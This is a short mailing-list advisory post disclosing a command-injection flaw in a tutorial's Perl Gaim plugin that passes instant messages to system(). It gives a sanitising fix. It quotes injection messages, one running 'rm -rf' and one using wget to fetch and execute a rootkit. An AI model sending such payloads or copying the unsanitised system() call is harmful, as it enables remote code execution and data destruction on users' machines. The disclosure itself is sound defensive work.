[Date Prev][Date Next][Thread Prev][Thread Next][Date Index][Thread Index]

Gaim festival plugin exploit

It has come to my attention that people have actually used this example
code for a gaim plugin:

AIM::register("Festival TTS", "0.0.1", "goodbye", "");
AIM::print("Perl Says", "Loaded Festival TTS");
AIM::command("idle", "60000") if ($pro ne "Offline");
AIM::add_event_handler("event_im_recv", "synthesize");

sub goodbye {
        AIM::print("Module Unloaded", "Unloaded Festival TTS");
}

sub synthesize {
    my $string = $_[0];
    $string =~ s/\<.*?\>//g;
    $string =~ s/\".*\"//;
    system("echo \"$string\" | /usr/bin/festival --tts");
}

As taken from:
http://www.webreference.com/perl/tutorial/13/aim_fest_plugin.pl

This has to be one of the most amusing ways to gain a local users
privileges I have ever seen by an "Expert (TM)"

Exploit code?
You have a shell through gaim with that.

Just pass it this message (or really any message for that matter):

Hey, I just wanted to exploit your box, do you mind?"; rm -rf;

Or perhaps:

Hey, grab this root kit for me?";wget http://url/to/rootkit;chmod +x
rootkit;./rootkit

Perhaps someone should ask:

"(Is s/[^\w]//g really that hard to do?!)"

So a fixed version would look like this:

AIM::register("Festival TTS", "0.0.1", "goodbye", "");
AIM::print("Perl Says", "Loaded Festival TTS");
AIM::command("idle", "60000") if ($pro ne "Offline");
AIM::add_event_handler("event_im_recv", "synthesize");

sub goodbye {
        AIM::print("Module Unloaded", "Unloaded Festival TTS");
}

sub synthesize {
    my $string = $_[0];
    $string =~ s/\<.*?\>//g;
    $string =~ s/\".*\"//;
    $string =~ s/[^\w]//g;
    system("echo \"$string\" | /usr/bin/festival --tts");
}

Just a minor comment, nothing special.
-- 
error <error@lostinthenoise.net>

Attachment: signature.asc
Description: This is a digitally signed message part